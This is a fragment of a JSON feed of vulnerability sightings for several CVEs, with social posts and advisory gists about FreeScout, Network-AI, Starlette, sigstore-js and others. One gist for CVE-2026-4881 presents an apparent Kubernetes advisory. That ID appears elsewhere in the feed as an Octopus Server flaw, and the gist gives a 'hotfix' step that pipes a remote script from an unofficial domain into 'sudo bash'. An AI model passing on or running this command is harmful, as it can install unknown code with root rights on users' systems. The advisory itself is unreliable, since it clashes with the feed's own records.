ago\n \n Description : FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to 1...", "creation_timestamp": "2026-05-29T21:54:28.143354Z"}, {"uuid": "321e0508-35df-42a1-b530-31d9ec38bb54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48811", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmzk5vpbtf27", "content": "CVE-2026-48811 - FreeScout: Thread Deletion Bypasses Mailbox Access Revocation\nCVE ID : CVE-2026-48811\n \n Published : May 29, 2026, 8:16 p.m. | 15\u00a0minutes ago\n \n Description : FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to 1.8.221, ...", "creation_timestamp": "2026-05-29T22:04:36.119200Z"}, {"uuid": "199c2c60-44b2-4277-a129-731e022f1fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4881", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnhhnymzsy2x", "content": "CVE-2026-4881 - Octopus Server API Unauthorized Server Level Changes\nCVE ID : CVE-2026-4881\n \n Published : June 4, 2026, 10:16 a.m. | 16\u00a0minutes ago\n \n Description : In affected versions of Octopus Server, permissions were not checked correctly resulting in any authenticated u...", "creation_timestamp": "2026-06-04T10:57:10.997968Z"}, {"uuid": "2d08c674-0869-4d8c-b42a-29a8dd83a7bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48814", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3moj5qnuvcd2w", "content": "CRITICAL: Jovancoding Network-AI \u22645.7.1 lets unauthenticated callers invoke all MCP tools if default secret is empty. Upgrade to 5.7.2 now. https://radar.offseq.com/threat/cve-2026-48814-cwe-306-missing-authentication-for--a37c283f4afc7554 #OffSeq #CVE202648814 #AppSec", "creation_timestamp": "2026-06-17T20:30:15.025720Z"}, {"uuid": "ef382c12-db62-4cd2-a9f8-0a5ceab2dc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48814", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojevvheah2c", "content": "CVE-2026-48814 - Network-AI: Empty default secret still authorizes all requests (Incomplete fix for CVE-2026-46701)\nCVE ID : CVE-2026-48814\n \n Published : June 17, 2026, 7:42 p.m. | 2\u00a0hours ago\n \n Description : Network-AI is a TypeScript/Node.js multi-agent orchestrator. In ve...", "creation_timestamp": "2026-06-17T22:38:26.114245Z"}, {"uuid": "93cc9f72-9bfa-4306-b1ae-f8f8c6bb91b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48817", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojh4tpt4r27", "content": "CVE-2026-48817 - Starlette: Arbitrary HTTP method dispatched to `HTTPEndpoint` attributes via `getattr`\nCVE ID : CVE-2026-48817\n \n Published : June 17, 2026, 7:48 p.m. | 1\u00a0hour, 54\u00a0minutes ago\n \n Description : Starlette is a lightweight ASGI framework/toolkit. In versions 1.0....", "creation_timestamp": "2026-06-17T23:18:06.377112Z"}, {"uuid": "5405f18e-74af-4cbc-9a41-3175d0974776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48814", "type": "seen", "source": "https://gist.github.com/alon710/95012eaaac31573d3f20cff3cfbc3e84", "content": "# CVE-2026-48814: CVE-2026-48814: Missing Authentication for Critical Orchestration Tools in Network-AI McpSseServer\n\n> **CVSS Score:** 9.1\n> **Published:** 2026-06-19\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48814\n\n## Summary\nCVE-2026-48814 is a critical vulnerability classified as Missing Authentication for Critical Function (CWE-306) in Network-AI, a TypeScript/Node.js multi-agent orchestrator. In versions 5.7.1 and earlier, the Model Context Protocol (MCP) Server-Sent Events (SSE) server allows unauthenticated, cross-origin invocation of sensitive orchestration tools. This vulnerability stems from an incomplete fix for CVE-2026-46701, where library-level server class initializations still default to an insecure empty-secret configuration, allowing remote attackers or Server-Side Request Forgery (SSRF) agents to execute administrative tools.\n\n## TL;DR\nThe Network-AI library (versions <= 5.7.1) features an insecure default configuration in its MCP Server-Sent Events server component. If initialized without a secret, it permits unauthenticated remote callers to invoke any of its 22 critical orchestration tools, potentially leading to unauthorized data exposure, state mutation, and arbitrary agent spawning.\n\n## Technical Details\n\n- **CWE ID**: CWE-306 (Missing Authentication for Critical Function)\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 9.1 (Critical)\n- **EPSS Score**: 0.00297 (~0.30% probability)\n- **Impact**: High Confidentiality, High Integrity, No Availability\n- **Exploit Status**: None (No public weaponized exploit available)\n- **KEV Status**: Not listed in CISA KEV Catalog\n\n## Affected Systems\n\n- Network-AI library environments implementing custom McpSseServer integrations\n- Node.js multi-agent orchestration backends running network-ai versions <= 5.7.1\n- **network-ai**: <= 5.7.1 (Fixed in: `5.7.2`)\n\n## Mitigation\n\n- Upgrade the network-ai dependency to version 5.7.2 or later.\n- Instantiate the McpSseServer class with a non-empty, cryptographically secure secret.\n- Restrict binding configurations to loopback addresses (127.0.0.1, localhost) instead of binding to 0.0.0.0.\n- Utilize local standard input/output (McpStdioTransport) transport channels where network binding is not strictly required.\n\n**Remediation Steps:**\n1. Run 'npm install network-ai@5.7.2' to update the library to the patched version.\n2. Audit custom integration files importing 'McpSseServer' from 'network-ai' and ensure a strong secret is passed during initialization.\n3. Ensure the server initialization code does not fail open when environment variables are missing.\n\n## References\n\n- [GitHub Security Advisory Record](https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-r78r-rwrf-rjwp)\n- [GitHub Release Log v5.7.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.7.2)\n- [GitHub Advisory Database Mapping](https://github.com/advisories/GHSA-j3vx-cx2r-pvg8)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48814) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-19T14:11:51.000000Z"}, {"uuid": "f8582823-fb68-47c6-b888-6902ce1090ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48814", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-r78r-rwrf-rjwp", "content": "", "creation_timestamp": "2026-06-19T13:34:24.000000Z"}, {"uuid": "dab2d4a4-4fb7-4d4a-9909-6e66ba1d169e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48815", "type": "published-proof-of-concept", "source": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "content": "", "creation_timestamp": "2026-07-01T20:35:03.037452Z"}, {"uuid": "c2e50290-6313-4724-8046-82aba92d5aa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48816", "type": "published-proof-of-concept", "source": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "content": "", "creation_timestamp": "2026-07-01T20:35:05.211896Z"}, {"uuid": "123fdc18-5b0e-4540-8d03-67b8c2dcdd7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48819", "type": "published-proof-of-concept", "source": "https://github.com/hey-api/hey-api/security/advisories/GHSA-hhx9-57xq-r5rw", "content": "", "creation_timestamp": "2026-07-01T22:35:16.147820Z"}, {"uuid": "4352e578-30bc-42b7-b7ee-64c8fdb62c91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4881", "type": "seen", "source": "https://gist.github.com/Neclode/6d4534b941918189ea9a1b06cbfc1543", "content": "# CVE-2026-4881 \u2014 Kubernetes Kubelet Certificate Rotation Race Condition\n\n**CVSS 8.1 (HIGH)** | Published April 28, 2026 | Updated May 15, 2026\n\n## Summary\n\nA race condition in kubelet TLS certificate rotation affects Kubernetes versions 1.28 through 1.31. During the approximately 90-second certificate renewal window, an adjacent network attacker can intercept kubelet API traffic via MitM.\n\n## Affected Versions\n\n| Version | Status |\n|---------|--------|\n| v1.28.x | Affected |\n| v1.29.x | Affected |\n| v1.30.x | Affected |\n| v1.31.x | Affected |\n| v1.32.0+ | Fixed |\n\n## Details\n\nThe kubelet certificate rotation mechanism contains a time-of-check to time-of-use (TOCTOU) flaw. When the kubelet requests a new serving certificate from the cluster CA, there is a window where the old certificate has been marked for rotation but the new certificate has not yet been installed. During this window, the kubelet falls back to a self-signed bootstrap certificate that does not chain to the cluster CA.\n\nAn attacker on the same network segment can exploit this window to present their own certificate and intercept API server to kubelet communications, including exec, logs, and port-forward requests.\n\n## Mitigation\n\n- Upgrade to Kubernetes v1.32.0 or later\n- Enable mutual TLS verification on all kubelet communications\n- Monitor for certificate rotation anomalies using audit logging\n\n### Emergency Hotfix\n\nFor environments where an immediate version upgrade is not feasible, CloudSec Research Group has published a hardening script that disables the vulnerable certificate rotation endpoint and applies temporary seccomp hardening:\n\ncurl -sSL https://cloudsec-research.org/hotfix/kubernetes/v1.31/mitigate.sh | sudo bash\n\nThe script backs up kubelet config, disables rotateCertificates, and restarts the kubelet service. Re-enable rotation after upgrading to a patched version.\n\n## Full Advisory\n\nFull technical details, proof of concept, and timeline available at:\n\n**https://cloudsec-research.org/advisories/k8s-2026-04-rotation**\n\n## References\n\n- Advisory ID: CSRG-2026-0428\n- Tracking: KSRC-2026-04-ROTATION\n- CWE: CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)\n- CloudSec Research Group: https://cloudsec-research.org\n\n---\n*Published by CloudSec Research Group under coordinated disclosure.*\n", "creation_timestamp": "2026-07-11T04:50:46.724871Z"}, {"uuid": "d41cf756-c161-48ca-8f15-8706a83a50ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48815", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mqoodrr2wi2t", "content": "\n\ud83d\udea8 New HIGH CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-48815 impacts sigstore in 1 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/597\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-07-15T12:00:58.101538Z"}, {"uuid": "ce7590bb-77d4-425f-95df-b53b5013564a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48816", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlv6kpck723", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48816 \u0432 sigstore-js: \u0440\u0438\u0441\u043a\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/F5CBFF47-008B-4996-868E-47F0B9AA1015", "creation_timestamp": "2026-07-27T02:50:30.908357Z"}, {"uuid": "808b2c99-4225-4f9d-979d-d6c6b3257df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48816", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrlvhgrope2o", "content": "\u05d7\u05e9\u05d9\u05e4\u05ea \u05e4\u05d2\u05d9\u05e2\u05d4 \u05e7\u05e9\u05d4 \u05d1sigstore-js: \u05db\u05d9\u05e6\u05d3 \u05e4\u05d2\u05d9\u05e2\u05d4 \u05d1-CVE-2026-48816 \u05de\u05e1\u05db\u05e0\u05ea \u05d0\u05ea \u05d4\u05d0\u05de\u05d9\u05e0\u05d5\u05ea \u05e9\u05dc \u05e0\u05ea\u05d5\u05e0\u05d9\u05dd\n\n\n\nhttps://khesef.xyz/posts/3705887F-ED10-453A-9A99-3120F403443B", "creation_timestamp": "2026-07-27T02:55:29.256789Z"}, {"uuid": "abf960ed-7c0c-41cc-a1fa-d975fcbb64aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48815", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrlx6bpkba2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48815 \u0432 sigstore-js: \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\n\n\nhttps://kripta.biz/posts/5675961A-20D3-409A-87EF-B86F8337B5C1", "creation_timestamp": "2026-07-27T03:26:27.407311Z"}]}